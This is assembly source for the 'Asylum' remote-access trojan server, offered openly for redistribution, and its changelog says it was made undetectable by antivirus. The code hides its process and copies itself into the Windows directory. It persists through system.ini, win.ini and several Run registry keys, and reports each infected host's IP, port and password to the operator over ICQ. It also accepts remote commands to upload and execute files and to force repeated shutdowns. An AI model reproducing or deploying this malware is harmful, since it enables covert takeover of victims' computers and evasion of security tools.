;Asylum server v0.1.3
;This source code may be redistributed
;and used freely as long as i (slim) am given credit.
;http://slim.slak.org/
;slim 11/5/2000
;modified by mf4 (12/2/2001) for Asylum v0.1.4 (Fearless Edition)
;http://areyoufearless.com
;
;Changelog:
;
;* ICQ notification fixed
;* Server made undetectable by current AV

.386                                                       
.model flat, stdcall                                                                 

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
include c:\masm32\include\wsock32.inc
includelib c:\masm32\lib\wsock32.lib
include c:\masm32\include\shell32.inc
includelib c:\masm32\lib\shell32.lib
include c:\masm32\include\advapi32.inc
includelib c:\masm32\lib\advapi32.lib
include c:\masm32\include\masm32.inc
includelib c:\masm32\lib\masm32.lib

RegOperation PROTO :DWORD, :DWORD, :DWORD, :DWORD

WRITE       equ 1
DEL         equ 0

.data

;hiding
kernel32     db 'kernel32.dll', 0
func         db 'RegisterServiceProcess', 0

;icq notify
filler1      db 'abc', 0
useicq       db '1', 0
icqaddr      db 'web.icq.com', 0
icqstr       db 'GET /wwp/msg/1,,,00.html?Send=yes&w.a.s.t.e=%s&Name='
             db ',+i+have+been+infected+[name=%s]_[hostname=%s]_'
             db '[ip=%s]_[port=%s]_[password=%s]_[version=0.1.4+(Fearless+Edition)]_[winver=%s]'
             db '&Uin=%s HTTP/1.0', 13, 10, 13, 10, 13, 10, 0
filler2      db 'abcdefghijklmnopqr', 0
uin          db '1234567icq', 0

;startup stuff
dirfmt       db '%s\%s', 0
filename     db 'wincmp32.exe', 0
sysinifmt    db '%s\system.ini', 0
wininifmt    db '%s\win.ini', 0
explorer     db 'explorer.exe %s', 0
boot         db 'boot', 0
shell        db 'shell', 0
windows      db 'windows', 0
load         db 'load', 0
run          db 'run', 0
regkey       db 'SOFTWARE\Microsoft\Windows\CurrentVersion\%s', 0
runkey       db 'Run\', 0
runsrvkey    db 'RunServices\', 0
runkeyname   db 'RegistryKeyName1234567890', 0
runsrvname   db 'RegistryKeyName1234567890', 0
regusername  db 'RegistryKeyName1234567890', 0
pass         db '1', 0
reguser      db '1', 0
regrunstart  db '1', 0
runsrvstart  db '1', 0
sysinistart  db '1', 0
winloadstart db '1', 0
winrunstart  db '1', 0

;connection stuff
srvname      db '12345678901234567vic', 0
password     db '1234567890123456pass', 0
mainport     db '23432', 0

;misc
space        db ' ', 0
question     db '?', 0
truth        db '1', 0
fals         db '0', 0
na           db 'n/a', 0
fmt          db '%s %s', 0

;os version
ninefive     db '95', 0
nineeight    db '98', 0
nt           db 'NT%i(%lu)', 0

;server commands
rqscmd       db 'RqS', 0 ;request (to connect)
pascmd       db 'PaS', 0 ;password
diecmd       db 'DiE', 0 ;remove ye ol' server
uplcmd       db 'UPL', 0 ;upload
rbtcmd       db 'RBT', 0 ;reboot
wdrcmd       db 'WDR', 0 ;windows directory
sdrcmd       db 'SDR', 0 ;system directory
runcmd       db 'RUN', 0 ;run file
invcmd       db 'INV', 0 ;invalid command

.data?

;buffers!
exename      db 128 dup (?)
sysiniloc    db 128 dup (?)
wininiloc    db 128 dup (?)
sysinistr    db 128 dup (?)
regbuff      db 128 dup (?)
windir       db 128 dup (?)
sysdir       db 128 dup (?)
copystr      db 128 dup (?)

;socket stuff
mainsock     dd ?
wsainfo      WSADATA<>
mainsin      sockaddr_in<>
clientinfo   sockaddr_in<>

;hiding
rsp          dd ?

;thread stuff
recvthread   dd ?
icqthread    dd ?

.code
start:
    invoke WSAStartup, 101h, addr wsainfo
    invoke GetModuleHandle, addr kernel32
    invoke GetProcAddress, eax, addr func
    cmp eax, 0
    jz isnt
    mov [rsp], eax
    push 1
    push 0
    call rsp

isnt:
    invoke atodw, addr useicq
    cmp eax, 1
    jnz cont1
    mov eax, offset ICQNotify
    invoke CreateThread, NULL, NULL, eax, addr uin, 0, addr icqthread
    invoke CloseHandle, eax

cont1:
    invoke GetCL, 0, addr exename
    invoke GetWindowsDirectory, addr windir, 128
    invoke wsprintf, addr copystr, addr dirfmt, addr windir, addr filename
    invoke CopyFile, addr exename, addr copystr, 0
    invoke atodw, addr sysinistart
    cmp eax, 1
    jnz cont2
    invoke wsprintf, addr sysiniloc, addr sysinifmt, addr windir
    invoke wsprintf, addr sysinistr, addr explorer, addr filename
    invoke WritePrivateProfileString, addr boot, addr shell, addr sysinistr,\
                                      addr sysiniloc

cont2:
    invoke wsprintf, addr wininiloc, addr wininifmt, addr windir
    invoke atodw, addr winloadstart
    cmp eax, 1
    jnz cont3
    invoke WritePrivateProfileString, addr windows, addr load, addr copystr,\
                                      addr wininiloc

cont3:
    invoke atodw, addr winrunstart
    cmp eax, 1
    jnz cont4
    invoke WritePrivateProfileString, addr windows, addr run, addr copystr,\
                                      addr wininiloc

cont4:
    invoke atodw, addr regrunstart
    cmp eax, 1
    jnz cont5
    invoke RegOperation, HKEY_LOCAL_MACHINE, addr runkey, addr runkeyname, WRITE

cont5:
    invoke atodw, addr runsrvstart
    cmp eax, 1
    jnz cont6
    invoke RegOperation, HKEY_LOCAL_MACHINE, addr runsrvkey, addr runsrvname, WRITE

cont6:
    invoke atodw, addr reguser
    cmp eax, 1
    jnz mainsock_listen
    invoke RegOperation, HKEY_CURRENT_USER, addr runkey, addr regusername, WRITE

mainsock_listen:
    invoke socket, PF_INET, SOCK_STREAM, 0
    cmp eax, INVALID_SOCKET
    jz restartloop
    mov mainsock, eax
    mov mainsin.sin_family, PF_INET
    invoke atodw, addr mainport
    invoke htons, eax
    mov mainsin.sin_port, ax
    mov mainsin.sin_addr, INADDR_ANY
    invoke bind, mainsock, addr mainsin, sizeof mainsin
    cmp eax, SOCKET_ERROR
    jz restartloop

acceptloop:
    invoke listen, mainsock, SOMAXCONN
    invoke accept, mainsock, addr clientinfo, NULL
    cmp eax, INVALID_SOCKET
    jz acceptloop
    mov edx, offset RecvData
    invoke CreateThread, NULL, 0, edx, eax, 0, addr recvthread
    invoke CloseHandle, eax
    jmp acceptloop

restartloop:
    invoke closesocket, mainsock
    invoke Sleep, 512
    jmp mainsock_listen

RecvData PROC remoteaddr:DWORD
    LOCAL authed:DWORD
    LOCAL clientpc:DWORD
    LOCAL recvbuff[1024]:BYTE
    LOCAL sendbuff[1024]:BYTE
    LOCAL moobuff[1024]:BYTE
    LOCAL parambuff[256]:BYTE
    LOCAL fsizebuff[16]:BYTE
    LOCAL cmdbuff[3]:BYTE
    LOCAL bytesdone:DWORD
    LOCAL buffwrite:DWORD
    LOCAL uplfile:DWORD
    LOCAL fsize:DWORD
    mov authed, 0
    mov edx, remoteaddr
    mov clientpc, edx
    invoke atodw, addr pass
    cmp eax, 1
    jnz grant

sendpass:
    invoke lstrlen, addr pascmd
    invoke send, clientpc, addr pascmd, eax, 0

receiveloop:
    invoke RtlZeroMemory, addr recvbuff, 1024
    invoke RtlZeroMemory, addr sendbuff, 1024
    invoke RtlZeroMemory, addr moobuff, 1024
    invoke RtlZeroMemory, addr parambuff, 256
    invoke RtlZeroMemory, addr fsizebuff, 16
    invoke RtlZeroMemory, addr cmdbuff, 3
    invoke recv, clientpc, addr recvbuff, 1024, 0
    cmp eax, SOCKET_ERROR
    jz endloop
    cmp eax, 0
    jz endloop
    invoke midstr, addr recvbuff, addr cmdbuff, 0, 3 ;cut off the command part
    
    invoke lstrcmp, addr cmdbuff, addr diecmd ;kill server
    cmp eax, 0
    jnz reboot
    cmp authed, 1
    jnz sendpass
    invoke atodw, addr sysinistart
    cmp eax, 1
    jnz cont7
    invoke wsprintf, addr sysinistr, addr explorer, addr space
    invoke WritePrivateProfileString, addr boot, addr shell, addr sysinistr,\
                                      addr sysiniloc

cont7:
    invoke atodw, addr winloadstart
    cmp eax, 1
    jnz cont8
    invoke WritePrivateProfileString, addr windows, addr load, addr space,\
                                      addr wininiloc

cont8:
    invoke atodw, addr winrunstart
    cmp eax, 1
    jnz cont9
    invoke WritePrivateProfileString, addr windows, addr run, addr space,\
                                      addr wininiloc
                                      
cont9:
    invoke atodw, addr regrunstart
    cmp eax, 1
    jnz cont10
    invoke RegOperation, HKEY_LOCAL_MACHINE, addr runkey, addr runkeyname, DEL
     
cont10:
    invoke atodw, addr runsrvstart
    cmp eax, 1
    jnz cont11
    invoke RegOperation, HKEY_LOCAL_MACHINE, addr runsrvkey, addr runsrvname, DEL

cont11:
    invoke atodw, addr reguser
    cmp eax, 1
    jnz exit
    invoke RegOperation, HKEY_CURRENT_USER, addr runkey, addr regusername, DEL

exit:
    invoke ExitProcess, 0
    
reboot:
    invoke lstrcmp, addr cmdbuff, addr rbtcmd ;reboot
    cmp eax, 0
    jnz windirectory
    cmp authed, 1
    jnz sendpass

rebootloop:
    invoke ExitWindowsEx, EWX_SHUTDOWN or EWX_FORCE, NULL
    invoke ExitWindowsEx, EWX_POWEROFF or EWX_FORCE, NULL
    invoke ExitWindowsEx, EWX_REBOOT or EWX_FORCE, NULL
    invoke ExitWindowsEx, EWX_LOGOFF or EWX_FORCE, NULL
    jmp rebootloop

windirectory:
    invoke lstrcmp, addr cmdbuff, addr wdrcmd ;windows directory
    cmp eax, 0
    jnz sysdirectory
    cmp authed, 1
    jnz sendpass
    invoke wsprintf, addr sendbuff, addr fmt, addr wdrcmd, addr windir
    invoke send, clientpc, addr sendbuff, eax, 0
    jmp receiveloop

sysdirectory:
    invoke lstrcmp, addr cmdbuff, addr sdrcmd ;system directory
    cmp eax, 0
    jnz upload 
    cmp authed, 1
    jnz sendpass 
    invoke GetSystemDirectory, addr sysdir, 128
    invoke wsprintf, addr sendbuff, addr fmt, addr sdrcmd, addr sysdir
    invoke send, clientpc, addr sendbuff, eax, 0
    jmp receiveloop

upload:
    invoke lstrcmp, addr cmdbuff, addr uplcmd ;upload
    cmp eax, 0
    jnz runfile
    cmp authed, 1
    jnz sendpass
    invoke lstrcpy, addr moobuff, addr recvbuff
    invoke InString, 1, addr recvbuff, addr question
    dec eax
    invoke lstr, addr recvbuff, addr parambuff, eax
    invoke midstr, addr parambuff, addr parambuff, 4, 128
    invoke CreateFile, addr parambuff, GENERIC_WRITE, FILE_SHARE_READ or\
                       FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    mov uplfile, eax
    invoke InString, 1, addr moobuff, addr question
    invoke midstr, addr moobuff, addr fsizebuff, eax, 128        
    invoke atodw, addr fsizebuff
    mov fsize, eax
    mov bytesdone, 0

uploadloop:
    invoke RtlZeroMemory, addr recvbuff, 1024
    invoke recv, clientpc, addr recvbuff, 1024, 0
    cmp eax, SOCKET_ERROR
    jz upldone
    cmp eax, 0
    jz upldone
    mov edx, eax
    add bytesdone, eax
    invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULL
    mov edx, fsize
    cmp bytesdone, edx
    jnae uploadloop

upldone:
    invoke CloseHandle, uplfile
    jmp receiveloop

runfile:
    invoke lstrcmp, addr cmdbuff, addr runcmd ;run file
    cmp eax, 0
    jnz passwerd
    cmp authed, 1
    jnz sendpass
    invoke midstr, addr recvbuff, addr parambuff, 4, 128
    invoke ShellExecute, NULL, NULL, addr parambuff, NULL, NULL, SW_SHOWNORMAL
    cmp eax, 32
    jbe runfail
    invoke wsprintf, addr sendbuff, addr fmt, addr runcmd, addr truth
    invoke send, clientpc, addr sendbuff, eax, 0
    jmp receiveloop

runfail:
    invoke wsprintf, addr sendbuff, addr fmt, addr runcmd, addr fals
    invoke send, clientpc, addr sendbuff, eax, 0
    jmp receiveloop

passwerd:
    invoke lstrcmp, addr cmdbuff, addr pascmd ;get password
    cmp eax, 0
    jnz invalid
    invoke midstr, addr recvbuff, addr parambuff, 4, 20
    invoke lstrcmp, addr password, addr parambuff
    cmp eax, 0
    jnz deny

grant:
    invoke wsprintf, addr sendbuff, addr fmt, addr rqscmd, addr truth
    invoke send, clientpc, addr sendbuff, eax, 0
    mov authed, 1
    jmp receiveloop

deny:
    invoke wsprintf, addr sendbuff, addr fmt, addr rqscmd, addr fals
    invoke send, clientpc, addr sendbuff, eax, 0
    mov authed, 0
    jmp endloop

invalid:
    invoke wsprintf, addr sendbuff, addr fmt, addr invcmd, addr cmdbuff
    invoke send, clientpc, addr sendbuff, eax, 0
    jmp receiveloop

endloop:
    invoke closesocket, clientpc
    mov eax, TRUE
    ret
RecvData ENDP

ICQNotify PROC icqnumber:DWORD
    LOCAL osverbuff[8]:BYTE
    LOCAL hostbuff[128]:BYTE
    LOCAL icqsendbuff[256]:BYTE
    LOCAL icqsock:DWORD
    LOCAL icqsin:sockaddr_in
    LOCAL osinfo:OSVERSIONINFO
    
icq_notify:
    invoke socket, PF_INET, SOCK_STREAM, 0
    cmp eax, INVALID_SOCKET
    jz restarticqloop
    mov icqsock, eax
    mov icqsin.sin_family, PF_INET
    invoke htons, 80
    mov icqsin.sin_port, ax
    invoke gethostbyname, addr icqaddr
    mov eax, [eax+12]
    mov eax, [eax]
    mov eax, [eax]
    mov icqsin.sin_addr, eax
    invoke connect, icqsock, addr icqsin, sizeof icqsin
    cmp eax, SOCKET_ERROR
    jz restarticqloop
    mov osinfo.dwOSVersionInfoSize, sizeof OSVERSIONINFO
    invoke GetVersionEx, addr osinfo
    cmp osinfo.dwPlatformId, VER_PLATFORM_WIN32_NT
    jnz win9x
    invoke wsprintf, addr osverbuff, addr nt, osinfo.dwMajorVersion, osinfo.dwBuildNumber
    jmp continue

win9x:
    cmp osinfo.dwMinorVersion, 0
    jnz win98
    invoke lstrcpy, addr osverbuff, addr ninefive
    jmp continue

win98:
    invoke lstrcpy, addr osverbuff, addr nineeight
    invoke atodw, addr pass
    cmp eax, 1
    jz continue
    invoke lstrcpy, addr password, addr na

continue:
    invoke gethostname, addr hostbuff, 128
    invoke gethostbyname, addr hostbuff
    mov eax, [eax+12]
    mov eax, [eax]
    mov eax, [eax]
    invoke inet_ntoa, eax
    mov edx, eax
    invoke wsprintf, addr icqsendbuff, addr icqstr, addr srvname, addr srvname,\
                                       addr hostbuff, edx, addr mainport, addr password,\
                                       addr osverbuff, icqnumber
    invoke send, icqsock, addr icqsendbuff, eax, 0
    cmp eax, SOCKET_ERROR
    jz restarticqloop
    invoke closesocket, icqsock
    ret

restarticqloop:
    invoke closesocket, icqsock
    invoke Sleep, 512
    jmp icq_notify
ICQNotify ENDP

RegOperation PROC regroot:DWORD, magickey:DWORD, nameofkey:DWORD, operation:DWORD
    LOCAL reghand:DWORD
    invoke wsprintf, addr regbuff, addr regkey, magickey
    invoke RegOpenKeyEx, regroot, addr regbuff, 0, KEY_WRITE, addr reghand
    cmp operation, WRITE
    jz write
    invoke RegDeleteValue, reghand, nameofkey
    jmp endproc

write:
    invoke lstrlen, addr copystr
    invoke RegSetValueEx, reghand, nameofkey, 0, REG_SZ, addr copystr, eax

endproc:
    invoke RegCloseKey, reghand
    ret
RegOperation ENDP

end start